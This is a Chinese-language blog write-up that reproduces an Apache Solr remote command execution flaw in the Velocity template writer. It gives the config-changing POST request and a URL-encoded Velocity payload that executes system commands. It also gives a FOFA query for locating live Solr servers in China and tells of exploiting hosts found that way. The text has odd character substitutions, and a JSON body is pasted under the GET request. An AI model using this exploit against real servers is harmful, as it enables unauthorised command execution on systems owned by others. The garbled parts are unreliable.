【漏洞复现】Apache Solr远程命令执行

0x00 漏洞简介

---

Solr是一个独立的企业级搜索应用服务器，它对外提供相似于Web-service的API接口。用户能够经过http请求，向搜索引擎服务器提交必定格式的XML文件，生成索引；也能够经过Http Get操做提出查找请求，并获得XML格式的返回结果。

---

0x01 漏洞概述

---

该漏洞的产生是因为两方面的缘由：

1. 当攻击者能够直接访问Solr控制台时，能够经过发送相似/节点名/config的POST请求对该节点的配置文件作更改。

2. Apache Solr默认集成VelocityResponseWriter插件，在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否容许参数资源加载器在Solr请求参数中指定模版，默认设置是false。
   当设置params.resource.loader.enabled为true时，将容许用户经过设置请求中的参数来指定相关资源的加载，这也就意味着攻击者能够经过构造一个具备威胁的攻击请求，在服务器上进行命令执行。（来自360CERT）

---

0x02 影响范围

---

Apache Solr 5.x - 8.2.0，存在config API版本

---

0x03 漏洞复现

使用fofa搜索语法
app="Solr" && country="CN"

利用前提：攻击者须要知道Solr服务中Core的名称才能执行攻击。

---

如上图所示的这个名称就是Core的名称 直接构造POST请求，在/solr/test/config目录POST如下数据（修改Core的配置）

---

POST /solr/test/config HTTP/1.1
Host: ip:port
Content-Type: application/json
Content-Length: 259
{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }

使用exp,进行漏洞利用

GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: ip:port
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

---

---

0x04 漏洞复现那些坑

---

1. 版本不对（或者是服务器请求处理机制不对，大佬是这个咋不懂，咋也不敢问），第一个坑。（因为我是直接使用fofa直接搜索，因此才会致使这个多坑）

2. POST请求包里面的header不对，缘由：由于我是我直接抓包，而后使用burpsuite修改请求包，而后致使这个结果，以致于我浪费了不少时间。

3. 数据包请求方法不对。

0x05 参考

https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/

0x06 免责声明

本文中提到的漏洞利用Poc和脚本仅供研究学习使用，请遵照《网络安全法》等相关法律法规。
致谢：上上下下左左右右ba